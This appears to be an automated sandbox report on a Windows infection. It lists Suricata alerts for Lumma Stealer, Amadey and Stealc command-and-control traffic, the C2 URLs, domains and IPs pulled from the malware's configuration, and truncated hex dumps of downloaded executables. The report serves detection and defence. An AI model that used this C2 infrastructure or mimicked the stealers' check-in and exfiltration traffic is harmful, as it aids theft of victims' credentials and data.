Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.6:59878 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:56865 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50010
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:53952 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50012 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50014 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:62415 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:56298 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50013 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50016 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50017 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50018 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50022 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50019 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50023 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:50020
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:50020
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50024 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50033 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:52508 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:50056 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:55388 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:55643 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:49199 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50038 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50041 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50044 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50055 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:53699 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50078 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50108 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50145 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50053 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.6:53441 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.6:60389 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.6:51205 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:58219 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:61159 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50171 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50174 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50178 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50180 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.6:50183 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.6:51046 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50197 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50196 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50188 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50014 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50012 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50014 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50012 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50022 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50033 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50038 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50038 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50044 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50044 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50108 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50145 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50171 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50171 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50174 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50174 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50180 -> 104.21.5.155:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.6:50071 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:52:08 GMTContent-Type: application/octet-streamContent-Length: 3181568Last-Modified: Tue, 05 Nov 2024 18:57:23 GMTConnection: keep-aliveETag: "672a6a93-308c00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 90 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 30 00 00 04 00 00 11 1e 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 73 6b 66 70 66 6e 6d 00 d0 2a 00 00 b0 05 00 00 ce 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 73 78 69 64 63 72 67 00 10 00 00 00 80 30 00 00 06 00 00 00 64 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 30 00 00 22 00 00 00 6a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:52:14 GMTContent-Type: application/octet-streamContent-Length: 2157568Last-Modified: Tue, 05 Nov 2024 18:57:36 GMTConnection: keep-aliveETag: "672a6aa0-20ec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 73 00 00 04 00 00 ef 18 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6c 65 78 62 6e 66 69 00 40 1a 00 00 30 59 00 00 3c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 62 64 6a 75 71 6d 79 00 10 00 00 00 70 73 00 00 04 00 00 00 c6 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 73 00 00 22 00 00 00 ca 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:52:24 GMTContent-Type: application/octet-streamContent-Length: 2859008Last-Modified: Tue, 05 Nov 2024 19:22:53 GMTConnection: keep-aliveETag: "672a708d-2ba000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2c 00 00 04 00 00 f9 06 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 66 62 6c 67 64 65 7a 00 40 2b 00 00 a0 00 00 00 3e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 71 74 79 78 7a 6f 73 00 20 00 00 00 e0 2b 00 00 06 00 00 00 78 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2c 00 00 22 00 00 00 7e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 